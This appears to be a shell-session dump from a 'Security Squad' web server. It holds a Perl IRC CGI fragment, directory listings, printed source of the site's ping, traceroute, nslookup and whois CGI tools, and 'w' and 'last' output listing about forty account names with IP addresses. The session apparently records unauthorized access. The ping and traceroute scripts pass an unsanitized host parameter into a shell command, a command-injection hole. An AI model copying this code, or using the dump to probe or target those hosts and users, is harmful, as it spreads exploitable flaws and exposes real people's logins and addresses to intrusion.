   $irc = IRC->new(
         event => $event,
         timer => $timer,
         fh => $ircfh,
         nick => $cgi->{nick},
         server => $cgi->{serv},
         password => defined $cgi->{pass}
               ? $cgi->{pass} 
               : (config_set('server_password') 
                  ? $config->{server_password} 
                  : ''
                 ),
         realname => $cgi->{name},
         user => config_set('encoded_ip') && $config->{encoded_ip} > 1 
            ? encode_ip($ENV{REMOTE_ADDR}) 
            : (config_set('default_user') 
               ? $config->{default_user} 
               : $cgi->{nick}
            ),
         preconnect => $preconnect,
  );

  # It is usually better to use 'server connected' (this is for the JS
  # interface so it knows the script has started ok).
  $event->handle("user connected", $irc);

  $interface->sendping if $interface->ping;
  $intime = $pingtime = time;
}


#### Main loop

sub main_loop {
   error("Required objects not loaded")
      unless ref $timer
       and ref $event
       and ref $config;

   while(1) {
      my @ready = select_canread(2);
      for my $fh(@ready) {
         if($fh == $unixfh) {
            my $newfh = Symbol::gensym;
            if(accept($newfh, $fh)) {
               net_autoflush($newfh);
               select_add($newfh);
            }
         }else{
            my($tmp,$char);
            $tmp = sysread( $fh, $char, 4096 );
            
            select_close($fh) unless defined $tmp && length $char;
            
            $inbuffer{$fh} .= $char;
            
            while (my($theline,$therest)=$inbuffer{$fh} =~ /([^\n]*)\n(.*)/s ) {
               $inbuffer{$fh} = $therest;
               $theline =~ s/\r$//;
               
               if($fh == $ircfh) {
                  $irc->in($theline);
               }else{
                  unix_in($fh,$theline);
               }
            }
            flushoutput();
         }
      }
      irc_close() if $needtodie;
      $timer->run;
   }
}

init();
main_loop();

$ cd ../../
$ ls -la
total 260
drwxr-xr-x   6 ssquad  ssquad    512 Nov  2 15:00 .
drwxrwx---  10 nobody  ssquad    512 Nov  4 22:48 ..
-rwxr-xr-x   1 ssquad  ssquad   5124 Oct 29 16:28 add_articles.cgi
-rwxr-xr-x   1 ssquad  ssquad   4897 Sep 28 20:01 add_bug.cgi
-rwxr-xr-x   1 ssquad  ssquad   5408 Sep 28 20:01 add_defaces.cgi
-rwxr-xr-x   1 ssquad  ssquad  10502 Sep 28 20:01 add_downloads.cgi
-rwxr-xr-x   1 ssquad  ssquad   5424 Oct 27 16:41 add_friend.cgi
-rwxr-xr-x   1 ssquad  ssquad   6236 Nov  4 09:43 add_news.cgi
-rwxr-xr-x   1 ssquad  ssquad   4089 Sep 28 19:56 add_user.cgi
-rwxr-xr-x   1 ssquad  ssquad   4274 Oct 10 21:23 add_voiting.cgi
-rwxr-xr-x   1 ssquad  ssquad  15144 May 14 23:15 cgiecho
-rwxr-xr-x   1 ssquad  ssquad  15144 May 14 23:15 cgiemail
-rwxr-xr-x   1 ssquad  ssquad   2833 Oct 23 20:38 check.cgi
-rwxr-xr-x   1 ssquad  ssquad   2171 Oct 22 19:10 contacts.cgi
-rwxr-xr-x   1 ssquad  ssquad   2764 May 14 23:15 entropybanner.cgi
-rwxr-xr-x   1 ssquad  ssquad  11539 Oct 29 16:29 index.cgi
drwxr-xr-x   6 ssquad  ssquad    512 Oct 26 21:19 irc
-rwxr-xr-x   1 ssquad  ssquad   2760 May 14 23:15 randhtml.cgi
drwxr-xr-x   2 ssquad  ssquad    512 Sep 28 19:40 templates
drwxr-xr-x   2 ssquad  ssquad    512 Sep 28 19:41 tools
drwxr-xr-x   2 ssquad  ssquad    512 Oct 10 21:23 voiting
-rwxr-xr-x   1 ssquad  ssquad   2090 Oct 17 20:32 voiting.cgi
$ ls -l tools/
total 52
-rwxr-xr-x  1 ssquad  ssquad  3960 Sep 17 15:46 index.cgi
-rwxr-xr-x  1 ssquad  ssquad   323 Sep 28 19:40 nslookup.pl
-rwxr-xr-x  1 ssquad  ssquad  3049 Sep 28 19:41 output.cgi
-rwxr-xr-x  1 ssquad  ssquad   534 Sep 28 19:41 ping.html
-rwxr-xr-x  1 ssquad  ssquad  1205 Sep 28 19:41 ping.pl
-rwxr-xr-x  1 ssquad  ssquad   549 Sep 28 19:41 trace.html
-rwxr-xr-x  1 ssquad  ssquad  1202 Sep 28 19:41 traceroute.pl
-rwxr-xr-x  1 ssquad  ssquad  7698 Sep 28 19:41 whois.pl
$ cd tools
$ strings -f *.pl *.cgi
nslookup.pl: #!/usr/bin/perl
nslookup.pl: print "Content-Type: text/html\n\n";
nslookup.pl: print "<center><b>Security Squad :: Tools :: NsLookUp</center></b>";
nslookup.pl: require 'output.cgi';
nslookup.pl: ($query, $action) = &data_parse;
nslookup.pl: $command = 'nslookup';
nslookup.pl: $start = &gettime;
nslookup.pl: $output = `$command $query`;
nslookup.pl: $stop = &gettime;
nslookup.pl: &show($start,$stop,$command,$query,$output,"NS Lookup");
ping.pl: #!/usr/bin/perl
ping.pl: use strict;
ping.pl: my $bin_ping = 'ping';
ping.pl: my $ping_count = 5;
ping.pl: my $bin_traceroute = '/usr/sbin/traceroute';
ping.pl: my $template_file = 'ping.html';
ping.pl: # Instantiate input
ping.pl: my $input;
ping.pl: if (eval 'require CGI::Minimal') 
ping.pl: 	CGI::Minimal::max_read_size(1000000);
ping.pl: 	$input = new CGI::Minimal();
ping.pl: else
ping.pl: 	require CGI;
ping.pl: 	$CGI::POST_MAX = 1024 * 10; 
ping.pl: 	$CGI::DISABLE_UPLOADS = 1;
ping.pl: 	$input = new CGI;
ping.pl: my $host = $input->param('host') ;
ping.pl: my $util = $input->param('util');
ping.pl: my $do = $input->param('do');
ping.pl: my $cmd;
ping.pl: if ($do && $util =~ /^ping|traceroute$/)
ping.pl: 	if ($util eq 'ping')
ping.pl: 		$cmd = "$bin_ping -c $ping_count '$host'";		
ping.pl: 	elsif($util eq 'traceroute')
ping.pl: 		$cmd = "$bin_traceroute '$host'";	
ping.pl: 	$| = 1;
ping.pl: my %vars = 
ping.pl: 		'cmd'=>$cmd,
ping.pl: 	'host'=>$host,
ping.pl: 	'util'=>$util	
ping.pl: $vars{"$util\ping_selected"} = 'selected="selected"';
ping.pl: print "Content-type: text/html\n\n";
ping.pl: open(HTML, "$template_file");
ping.pl: while(my $line = scalar <HTML>)
ping.pl: 	if ($line =~ /\$results/ && defined $cmd)
ping.pl: 		my($b,$a) = split /\$results/,$line,2;
ping.pl: 		print $b;
ping.pl: 		open(UTIL, "$cmd 2>&1|");
ping.pl: 		while(<UTIL>)
ping.pl: 			print;
ping.pl: 		close(UTIL);
ping.pl: 		print $a;		
ping.pl: 	else
ping.pl: 		$line =~ s/\$(\w+)/$vars{$1}/g;
ping.pl: 		print $line;
ping.pl: close(HTML);
traceroute.pl: #!/usr/bin/perl
traceroute.pl: use strict;
traceroute.pl: my $bin_ping = 'ping';
traceroute.pl: my $ping_count = 5;
traceroute.pl: my $bin_traceroute = '/usr/sbin/traceroute';
traceroute.pl: my $template_file = 'trace.html';
traceroute.pl: # Instantiate input
traceroute.pl: my $input;
traceroute.pl: if (eval 'require CGI::Minimal') 
traceroute.pl: 	CGI::Minimal::max_read_size(1000000);
traceroute.pl: 	$input = new CGI::Minimal();
traceroute.pl: else
traceroute.pl: 	require CGI;
traceroute.pl: 	$CGI::POST_MAX = 1024 * 10; 
traceroute.pl: 	$CGI::DISABLE_UPLOADS = 1;
traceroute.pl: 	$input = new CGI;
traceroute.pl: my $host = $input->param('host') ;
traceroute.pl: my $util = $input->param('util');
traceroute.pl: my $do = $input->param('do');
traceroute.pl: my $cmd;
traceroute.pl: if ($do && $util =~ /^ping|traceroute$/)
traceroute.pl: 	if ($util eq 'ping')
traceroute.pl: 		$cmd = "$bin_ping -c $ping_count '$host'";		
traceroute.pl: 	elsif($util eq 'traceroute')
traceroute.pl: 		$cmd = "$bin_traceroute '$host'";	
traceroute.pl: 	$| = 1;
traceroute.pl: my %vars = 
traceroute.pl: 		'cmd'=>$cmd,
traceroute.pl: 	'host'=>$host,
traceroute.pl: 	'util'=>$util	
traceroute.pl: $vars{"$util\_selected"} = 'selected="selected"';
traceroute.pl: print "Content-type: text/html\n\n";
traceroute.pl: open(HTML, "$template_file");
traceroute.pl: while(my $line = scalar <HTML>)
traceroute.pl: 	if ($line =~ /\$results/ && defined $cmd)
traceroute.pl: 		my($b,$a) = split /\$results/,$line,2;
traceroute.pl: 		print $b;
traceroute.pl: 		open(UTIL, "$cmd 2>&1|");
traceroute.pl: 		while(<UTIL>)
traceroute.pl: 			print;
traceroute.pl: 		close(UTIL);
traceroute.pl: 		print $a;		
traceroute.pl: 	else
traceroute.pl: 		$line =~ s/\$(\w+)/$vars{$1}/g;
traceroute.pl: 		print $line;
traceroute.pl: close(HTML);
whois.pl: #!/usr/bin/perl
whois.pl: print "Content-Type: text/html\n\n";
whois.pl: print "<center><b>Security Squad :: Tools :: WhoIS</center></b>";
whois.pl: require 'output.cgi';
whois.pl: &main;
whois.pl: sub main {
whois.pl:     ($query, $action) = &data_parse;
whois.pl:     $command = "Whois Query";
whois.pl:     $port = "43";
whois.pl:     my @temp = split(/:/, $query);
whois.pl:     $input = $temp[0];
whois.pl:     $server = $temp[1];
whois.pl:     $ts = 1 if $temp[1];
whois.pl:     @pts = split(/\./, $input);
whois.pl:     if($pts[0] eq 'www' || $#pts > 2)
whois.pl:     {
whois.pl:        &show("","",$command,$input,"Only certain top level domains are supported by this script.  \nDo not include www when submitting your request","Whois ");
whois.pl:        exit;
whois.pl:     }
whois.pl:     $nnum = $#pts;
whois.pl:     $domain = lc($pts[$nnum]);
whois.pl:     # whois servers, updates from http://www.apnic.net/maps/tld-list.html
whois.pl:     %ext = (
whois.pl:            'ad','whois.ripe.net',
whois.pl:            'af','whois.nic.af',
whois.pl:            'al','whois.ripe.net',
whois.pl:            'am','whois.ripe.net',
whois.pl:            'as','whois.nic.as',
whois.pl:            'at','whois.ripe.net',
whois.pl:            'au','whois.aunic.net',
whois.pl:            'az','whois.ripe.net',
whois.pl:            'ba','whois.ripe.net',
whois.pl:            'be','whois.ripe.net',
whois.pl:            'bg','whois.ripe.net',
whois.pl:            'bm','rwhois.bermudanic.bm',
whois.pl:            'br','whois.nic.br',
whois.pl:            'bt','whois.nic.bt',
whois.pl:            'by','whois.ripe.net',
whois.pl:            'ca','whois.cdnnet.ca',
whois.pl:            'cc','whois.nic.cc',
whois.pl:            'ch','whois.nic.ch',
whois.pl:            'ck','whois.ck-nic.org.ck',
whois.pl:            'cn','whois.cnnic.net.cn',
whois.pl:            'com','whois.crsnic.net',
whois.pl:            'cx','whois.nic.cx',
whois.pl:            'cy','whois.ripe.net',
whois.pl:            'cz','whois.ripe.net',
whois.pl:            'de','whois.ripe.net',
whois.pl:            'dk','whois.ripe.net',
whois.pl:            'dz','whois.ripe.net',
whois.pl:            'ee','whois.ripe.net',
whois.pl:            'edu','whois.crsnic.net',
whois.pl:            'eg','whois.ripe.net',
whois.pl:            'es','whois.ripe.net',
whois.pl:            'fi','whois.ripe.net',
whois.pl:            'fo','whois.ripe.net',
whois.pl:            'fr','whois.ripe.net',
whois.pl:            'ga','whois.ripe.net',
whois.pl:            'gb','whois.ripe.net',
whois.pl:            'ge','whois.ripe.net',
whois.pl:            'gf','whois.nplus.gf',
whois.pl:            'gi','whois.nic.gi',
whois.pl:            'gl','whois.ripe.net',
whois.pl:            'gm','whois.ripe.net',
whois.pl:            'gov','whois.nic.gov',
whois.pl:            'gr','whois.ripe.net',
whois.pl:            'gs','whois.adamsnames.tc',
whois.pl:            'hk','whois.hknic.net.hk',
whois.pl:            'hm','whois.nic.hm',
whois.pl:            'hr','whois.ripe.net',
whois.pl:            'hu','whois.ripe.net',
whois.pl:            'id','whois.idnic.net.id',
whois.pl:            'il','whois.ripe.net',
whois.pl:            'in','whois.ncst.ernet.in',
whois.pl:            'io','whois.io',
whois.pl:            'is','whois.ripe.net',
whois.pl:            'it','whois.ripe.net',
whois.pl:            'jo','whois.ripe.net',
whois.pl:            'jp','whois.nic.ad.jp',
whois.pl:            'kr','whois.krnic.net',
whois.pl:            'kz','whois.domain.kz',
whois.pl:            'li','whois.nic.li',
whois.pl:            'lk','whois.nic.lk',
whois.pl:            'lt','whois.ripe.net',
whois.pl:            'lu','whois.ripe.net',
whois.pl:            'lv','whois.ripe.net',
whois.pl:            'ly','whois.nic.ly',
whois.pl:            'ma','whois.ripe.net',
whois.pl:            'mc','whois.ripe.net',
whois.pl:            'md','whois.ripe.net',
whois.pl:            'mil','whois.nic.mil',
whois.pl:            'mk','whois.ripe.net',
whois.pl:            'mm','whois.nic.mm',
whois.pl:            'ms','whois.adamsnames.tc',
whois.pl:            'mt','whois.ripe.net',
whois.pl:            'mx','whois.nic.mx',
whois.pl:            'net','whois.crsnic.net',
whois.pl:            'nl','www.domain-registry.nl',
whois.pl:            'no','whois.ripe.net',
whois.pl:            'nu','whois.nic.nu',
whois.pl:            'nz','whois.patho.gen.nz',
whois.pl:            'org','whois.crsnic.net',
whois.pl:            'pe','rwhois.rcp.net.pe',
whois.pl:            'pk','whois.pknic.net.pk',         
whois.pl:            'pl','whois.ripe.net',
whois.pl:            'pr','whois.uprr.pr',
whois.pl:            'pw','whois.nic.pw',
whois.pl:            'ro','whois.ripe.net',
whois.pl:            'ru','whois.ripn.net',
whois.pl:            'se','whois.nic-se.se',
whois.pl:            'sg','whois.nic.net.sg',
whois.pl:            'sh','whois.nic.sh',
whois.pl:            'si','whois.ripe.net',
whois.pl:            'sk','whois.ripe.net',
whois.pl:            'sm','whois.ripe.net',
whois.pl:            'so','whois.nic.so',
whois.pl:            'st','whois.nic.st',
whois.pl:            'tc','whois.adamsnames.tc',
whois.pl:            'tf','whois.adamsnames.tc',
whois.pl:            'th','whois.thnic.net',
whois.pl:            'tj','whois.nic.tj',
whois.pl:            'tm','whois.nic.tm',
whois.pl:            'tn','whois.ripe.net',
whois.pl:            'to','whois.tonic.to',
whois.pl:            'tr','whois.ripe.net',
whois.pl:            'tw','whois.twnic.net',
whois.pl:            'ua','whois.ripe.net',
whois.pl:            'uk','whois.nic.uk',
whois.pl:            'us','whois.isi.edu',
whois.pl:            'va','whois.ripe.net',
whois.pl:            've','rwhois.reacciun.ve',
whois.pl:            'vg','whois.adamsnames.tc',
whois.pl:            'yu','whois.ripe.net',
whois.pl:            'za','whois.frd.ac.za',
whois.pl:            );
whois.pl:         $server = $ext{$domain} if ($ext{$domain} && !$server);
whois.pl:         # default server
whois.pl:         $server = 'whois.crsnic.net' if $server eq '';
whois.pl:         # added support for .co.za domains
whois.pl:         if ($input =~ /\.co\.za$/i)
whois.pl:            {
whois.pl:                    $server = 'co.za';
whois.pl:                    $port   = 80;
whois.pl:                    $input = "GET /cgi-bin/whois.sh?Domain=$input";
whois.pl:                    &IOSocket;
whois.pl:                    $output = join("THIS IS A DELIMITER", @output);
whois.pl:                    $output =~ s/<([^>]*)>//ig;
whois.pl:                    $output =~ s/\n+/\n/ig;
whois.pl:                    @output = split(/THIS IS A DELIMITER/, $output);
whois.pl:            } 
whois.pl:         # added support for correct .ie domains
whois.pl:         elsif ($input =~ /\.ie$/i)
whois.pl:            {
whois.pl:                 $server = "www.domainregistry.ie";
whois.pl:                 $port   = 80;
whois.pl:                 $input = "GET /cgi-bin/dns-search.cgi?foo=foo&domain=$input";
whois.pl:                 &IOSocket;
whois.pl:                 $output = join("DELIMITER!", @output);
whois.pl:                 $output =~ s/\s+/ /g;
whois.pl:                 $output =~ s/<br>/\n/ig;
whois.pl:                 $output =~ s/<p>/\n\n/ig;
whois.pl:                 $output =~ s/\n\n*/\n/g;
whois.pl:                 $output =~ s/<([^>]*)>//ig;
whois.pl:                 @output = split(/DELIMITER!/, $output);
whois.pl:            }
whois.pl:         else 
whois.pl:            {
whois.pl:                    &IOSocket;
whois.pl:            }
whois.pl:         if (($domain eq 'com' || $domain eq 'net' || $domain eq 'org' || $domain eq 'edu') && ($ts != 1))
whois.pl:         {
whois.pl:             my (@INFO) = @output;
whois.pl:             foreach $line(@INFO)
whois.pl:             {
whois.pl:                     if ($line =~ /Registrar:/i)
whois.pl:                     {
whois.pl:                         my @tmp = split(/:/, $line);
whois.pl:                         $registrar = $tmp[1];
whois.pl:                         $available = "This domain has already been registered.\nDisplaying domain information provided by $registrar\n";
whois.pl:                     }
whois.pl:                     if ($line =~ /Whois Server:/i)
whois.pl:                     {
whois.pl:                        my @temp = split(/:/, $line);
whois.pl:                        $nextserv = $temp[1];
whois.pl:                        chomp($nextserv);
whois.pl:                        $nextserv =~ s/\s+//ig;
whois.pl:                        last;
whois.pl:                     }                           
whois.pl:             }
whois.pl:             if($nextserv)
whois.pl:             {
whois.pl:                $server = $nextserv;
whois.pl:                &IOSocket;
whois.pl:             }
whois.pl:             else 
whois.pl:             {
whois.pl:                $available = "This domain is available\n";
whois.pl:             } 
whois.pl:         }
whois.pl:         $output = "Connected to $server\n$available".join(" ", @output)."\nUse the following syntax if you wish to specify which whois\nserver will handle your request.\t query:server";
whois.pl:         $stop = &gettime;
whois.pl:         &show($start,$stop,$command,$query,$output,"Whois ");
whois.pl: sub IOSocket{
whois.pl:         use IO::Socket;
whois.pl:         $start = &gettime;
whois.pl:         $next = "\015\012";
whois.pl:         $socket = IO::Socket::INET->new(Proto=>"tcp",
whois.pl:              PeerAddr=>$server,PeerPort=>$port,);
whois.pl:         unless ($socket) { $stop = &gettime; die &show($start,$stop,$command,$input,"$@",$special); }
whois.pl:         print $socket "$input" . $next;
whois.pl:         @output = <$socket>;
whois.pl:         close $socket;
index.cgi: #!/usr/bin/perl
index.cgi: print "Content-Type: text/html\n\n";
index.cgi: print qq~<table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <table  cellspacing="0" cellpadding="0"   border="0" width="570">
index.cgi:   <tbody><tr><td width="33%">
index.cgi:         <form action="whois.pl" method="post" target="_blank">
index.cgi:           <input name="input"> <input align="" alt="Go" name="" border="0" src="http://ssquad.com/images/2.gif" type="image" >
index.cgi:         </form></td>
index.cgi:       <td vAlign="top" width="67%"> 
index.cgi:  <b><font class="bold" color="#373292"> SmartWhois:
index.cgi:         </font></b>
index.cgi:  SmartWhois - 
index.cgi:         
index.cgi:  IP 
index.cgi:         
index.cgi:         
index.cgi:  SmartWhois 
index.cgi:  Windows.</td>
index.cgi:     </tr>
index.cgi:   </tbody>
index.cgi: </table><br>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <table  cellspacing="0" cellpadding="0"   border="0" width="570">
index.cgi:   <tbody>
index.cgi:     <tr>
index.cgi:       <td width="100%">&nbsp;</td>
index.cgi:     </tr>
index.cgi:   </tbody>
index.cgi: </table>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <table  cellspacing="0" cellpadding="0"   border="0" width="570">
index.cgi:   <tbody>
index.cgi:     <tr>
index.cgi:       <td width="33%">
index.cgi:         <form action="traceroute.pl" method="post" target="_blank">
index.cgi:           <input name="input"><input align="" alt="Go" name="" border="0" src="http://ssquad.com/images/2.gif" type="image" >
index.cgi:         </form>
index.cgi:       </td>
index.cgi:       <td vAlign="top" width="67%"> 
index.cgi:  <font class="bold" color="#373292"><b>TraceRoute:
index.cgi:         </b></font>
index.cgi:  TraceRoute - 
index.cgi:         
index.cgi:         TraceRoute 
index.cgi:         
index.cgi:         
index.cgi:  IP 
index.cgi: &nbsp;
index.cgi:         
index.cgi:         
index.cgi:         
index.cgi: ).</td>
index.cgi:     </tr>
index.cgi:   </tbody>
index.cgi: </table><br>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi:   <tbody>
index.cgi:     <tr>
index.cgi:       <td width="100%">&nbsp;</td>
index.cgi:     </tr>
index.cgi:   </tbody>
index.cgi: </table>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <table  cellspacing="0" cellpadding="0"   border="0" width="570">
index.cgi:   <tbody>
index.cgi:     <tr>
index.cgi:       <td width="33%">
index.cgi:         <form action="ping.pl" method="post" target="_blank">
index.cgi:           <input name="input"><input align="" alt="Go" name="" border="0"  src="http://ssquad.com/images/2.gif" type="image" >
index.cgi:         </form>
index.cgi:       </td>
index.cgi:       <td vAlign="top" width="67%"> 
index.cgi:  <b><font class="bold" color="#373292">Ping:
index.cgi:         </font></b>
index.cgi:  Ping - 
index.cgi:         
index.cgi:  ECHO 
index.cgi:         
index.cgi:         
index.cgi:         
index.cgi:         
index.cgi: .</td>
index.cgi:     </tr>
index.cgi:   </tbody>
index.cgi: </table><br>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi:   <tbody>
index.cgi:     <tr>
index.cgi:       <td width="100%">&nbsp;</td>
index.cgi:     </tr>
index.cgi:   </tbody>
index.cgi: </table>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi: <table  cellspacing="0" cellpadding="0"   border="0" width="570">
index.cgi:   <tbody>
index.cgi:     <tr>
index.cgi:       <td width="33%">
index.cgi:         <form action="nslookup.pl" method="post" target="_blank">
index.cgi:           <input name="input"><input align="" alt="Go"  name="" src="http://ssquad.com/images/2.gif" type="image" >
index.cgi:         </form>
index.cgi:       </td>
index.cgi:       <td vAlign="top" width="67%">
index.cgi:  <font class="bold" color="#373292"><b>NsLookup:
index.cgi:         </b></font>
index.cgi:  NsLookup - 
index.cgi:         
index.cgi:  IP 
index.cgi:         
index.cgi:         
index.cgi:  IP 
index.cgi: .</td>
index.cgi:     </tr>
index.cgi:   </tbody>
index.cgi: </table>
index.cgi: <table  border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi:   <tbody>
index.cgi:     <tr>
index.cgi:       <td width="100%">&nbsp;</td>
index.cgi:     </tr>
index.cgi:   </tbody>
index.cgi: </table>
index.cgi: <table border="0" cellPadding="0" cellSpacing="0" width="100%">
index.cgi:   <tbody>
index.cgi:   </tbody>
index.cgi: </table>
index.cgi: </td></tr></table>
index.cgi: </table><br> ~;
output.cgi: #!/usr/bin/perl
output.cgi: use CGI qw(:all);
output.cgi: $log_requests = 0;
output.cgi: # contents of body tag
output.cgi: $body = qq~body bgcolor="#FFFFFF" text="#000000" link="#336699" alink="#FFFFFF" vlink="#990033"~;
output.cgi: $use_full_headers = 0;
output.cgi: # names of the files
output.cgi: %filenames = (
output.cgi: 'Whois'      => 'whois.pl',
output.cgi: 'NS lookup'  => 'nslookup.pl',
output.cgi: 'output'     => 'output.cgi'
output.cgi:              );
output.cgi: #====================================================================
output.cgi: $aaa = $filenames{'output'};
output.cgi: if ($ENV{'SCRIPT_NAME'} =~ /$aaa$/m)
output.cgi: $form = '
output.cgi:       <script language="Javascript">
output.cgi:       <!--
output.cgi:       function GoTo(){
output.cgi:                tool     = document.ToolForm.toolselect.options[document.ToolForm.toolselect.selectedIndex].value
output.cgi:                query    = document.ToolForm.input.value
output.cgi:                if(query == \'\')
output.cgi:                { 
output.cgi:                   return
output.cgi:                }
output.cgi:                else
output.cgi:                { 
output.cgi:                   location = tool + query
output.cgi:                }
output.cgi:       }
output.cgi:       //-->
output.cgi:       </script>
output.cgi:       <form name=ToolForm method=GET action="javascript:GoTo()">
output.cgi:       <font face="arial,helvetica" size=2>
output.cgi:       Security Squad :: Tools<br>
output.cgi:       <select name="toolselect">
output.cgi:       ';
output.cgi:   foreach $key(keys(%filenames))
output.cgi:          unless ($key eq 'output')
output.cgi:          {
output.cgi:                  $form .= "<option value=\"$filenames{$key}?\">$key";
output.cgi:          }
output.cgi:   $form .= '
output.cgi:   </select>
output.cgi:   <input name="input"><input type=button value="Submit Query" onClick="GoTo()">
output.cgi:   </font>
output.cgi:   </form>
output.cgi:   ';
output.cgi:    &show();
output.cgi: sub data_parse{
output.cgi:     my ($query, $action);  
output.cgi:     if ($ENV{'REQUEST_METHOD'} eq 'POST')
output.cgi:     {
output.cgi:        read(STDIN, $query, $ENV{'CONTENT_LENGTH'});
output.cgi:        $query =~ /action=([^\&]*)\&/;
output.cgi:        $action = $1;
output.cgi:        $query =~ s/action=([^\&]*)\&//g;
output.cgi:        $query =~ s/input=//g;
output.cgi:        $query =~ tr/+/ /;
output.cgi:        $query =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
output.cgi:     }
output.cgi:     else
output.cgi:     {
output.cgi:        $query = $ENV{'QUERY_STRING'};
output.cgi:     }
output.cgi:     $query =~ s/[ ;\[\]\<\>&\$\*\?\(\)\|\{\}\\\'\"\`\~\!]//g; 
output.cgi:     $query =~ s/\s+//ig;
output.cgi:     &show('','','','','Enter you query ','') if ($query eq '');
output.cgi:     return ($query, $action);
output.cgi: sub gettime{
output.cgi: 	($Second, $Minute, $Hour, $DayOfMonth, $Month, $Year,$WeekDay, $DayOfYear, $IsDST) = localtime(time);
output.cgi:         $DateAndTime = sprintf("%02d:%02d:%02d" ,$Hour, $Minute,$Second);
output.cgi: 	return($DateAndTime);
output.cgi: sub show{
output.cgi: 	local($start,$stop,$command,$query,$output,$special) = @_;
output.cgi:         print "HTTP/1.0 200 OK\n" if ($use_full_headers);
output.cgi:         $form = qq~<FORM ACTION="$ENV{'SCRIPT_NAME'}" method=POST><INPUT NAME="input" value="$query" size="30"> <input type=submit value=Do></form>~ unless ($form);
output.cgi:         # remove HTML from $output
output.cgi:         $output =~ s/</&lt;/g;
output.cgi: 	$output =~ s/>/&gt;/g;
output.cgi: 	$HTML   = qq~
output.cgi: <html>
output.cgi: <head>
output.cgi: <title>Security Squad :: Tools</title>
output.cgi: </head>
output.cgi: <$body>
output.cgi: <br /><table width=100% cellpadding=0 cellspacing=0><tr><td>
output.cgi: <font face="arial,helvetica" size=2>
output.cgi: $HTML .= $form;
output.cgi: $HTML .= qq~ <hr> ~;
output.cgi: 	$HTML .= "<pre>$output</pre>\n" if ($output);
output.cgi:         
output.cgi: 	$HTML .= qq~
output.cgi: </font>
output.cgi: </td></tr></table>
output.cgi: </body></html>
output.cgi:     print $HTML;
output.cgi:     exit;
$ echo nice
nice
$ w
 7:39PM  up 5 days,  5:20, 4 users, load averages: 0.58, 0.55, 0.54
USER             TTY      FROM              LOGIN@  IDLE WHAT
gdp              p0       mahaon.ints.net  10:18AM    56 -
gdp              p1       pc61.srv.h.starm Thu10AM  2:56 -
gdp              p2       pc61.srv.h.starm Thu10AM  3:20 -
admin            p4       ip167.cab4.lsn.s 10:31AM  9:07 -
$ last
story            ftp      80.235.127.254   Mon Oct 25 19:31   still logged in
bfbalth          ftp      62.65.206.196    Mon Oct 25 19:26 - 19:26  (00:00)
alexclk          ftp      217.86.149.10    Mon Oct 25 19:22 - 19:23  (00:00)
coder            ftp      80.66.244.17     Mon Oct 25 19:21 - 19:22  (00:01)
forumlif         ftp      212.7.8.79       Mon Oct 25 19:21 - 19:31  (00:09)
zlg              ftp      194.186.32.99    Mon Oct 25 19:11 - 19:25  (00:13)
anime            ftp      82.147.183.229   Mon Oct 25 19:11 - 19:12  (00:00)
coder            ftp      80.66.244.17     Mon Oct 25 19:01 - 19:03  (00:01)
odyssey          ftp      213.158.3.97     Mon Oct 25 18:50 - 19:05  (00:15)
wh               ftp      212.15.119.149   Mon Oct 25 18:50 - 19:00  (00:10)
alexclk          ftp      217.86.149.10    Mon Oct 25 18:46 - 18:47  (00:00)
chenla           ftp      213.35.239.67    Mon Oct 25 18:44   still logged in
takaja           ftp      194.204.29.7     Mon Oct 25 18:44   still logged in
anime            ftp      82.147.183.229   Mon Oct 25 18:41 - 19:11  (00:30)
forumlif         ftp      194.106.127.118  Mon Oct 25 18:40 - 19:35  (00:54)
albalt           ftp      217.159.170.70   Mon Oct 25 18:28 - 18:28  (00:00)
tulksco          ftp      217.199.109.35   Mon Oct 25 18:26 - 18:33  (00:06)
albalt           ftp      217.159.170.70   Mon Oct 25 18:26 - 18:26  (00:00)
forumlif         ftp      194.106.127.118  Mon Oct 25 18:21 - 18:21  (00:00)
albalt           ftp      217.159.170.70   Mon Oct 25 18:21 - 18:21  (00:00)
tulksco          ftp      217.199.109.35   Mon Oct 25 18:16 - 18:16  (00:00)
[email protected]  ftp      213.158.3.142    Mon Oct 25 17:57 - 18:07  (00:10)
tulksco          ftp      217.199.109.35   Mon Oct 25 17:51 - 17:54  (00:02)
odyssey          ftp      213.158.3.202    Mon Oct 25 17:24 - 17:35  (00:11)
tetatet          ftp      193.110.73.92    Mon Oct 25 17:20 - 17:44  (00:24)
[email protected]  ftp      82.207.19.69     Mon Oct 25 17:15 - 17:38  (00:23)
processor        ftp      217.159.188.187  Mon Oct 25 17:13 - 17:23  (00:10)
zlg              ftp      194.186.32.74    Mon Oct 25 17:01 - 17:18  (00:16)
gansta           ftp      213.35.211.150   Mon Oct 25 16:51 - 17:49  (00:57)
webb             ftp      82.147.171.109   Mon Oct 25 16:51 - 16:51  (00:00)
sathyasa         ftp      80.235.52.127    Mon Oct 25 16:43 - 16:43  (00:00)
albalt           ftp      217.159.170.70   Mon Oct 25 16:43 - 16:43  (00:00)
sathyasa         ftp      80.235.52.127    Mon Oct 25 16:41 - 16:41  (00:00)
albalt           ftp      217.159.170.70   Mon Oct 25 16:41 - 16:41  (00:00)
sathyasa         ftp      80.235.52.127    Mon Oct 25 16:32 - 16:32  (00:00)
albalt           ftp      217.159.170.70   Mon Oct 25 16:32 - 17:13  (00:41)
baersoft         ftp      67.15.4.5        Mon Oct 25 16:30 - 16:34  (00:04)
sathyasa         ftp      80.235.52.127    Mon Oct 25 16:29 - 16:29  (00:00)
webb             ftp      82.147.171.109   Mon Oct 25 16:28 - 16:38  (00:10)
tetatet          ftp      193.110.73.92    Mon Oct 25 16:28 - 17:18  (00:50)
sathyasa         ftp      80.235.52.127    Mon Oct 25 16:27 - 16:27  (00:00)
wizarea          ftp      83.237.170.220   Mon Oct 25 16:21 - 16:36  (00:15)
gansta           ftp      213.35.211.150   Mon Oct 25 16:14 - 16:40  (00:25)
sathyasa         ftp      80.235.52.127    Mon Oct 25 16:12 - 16:12  (00:00)
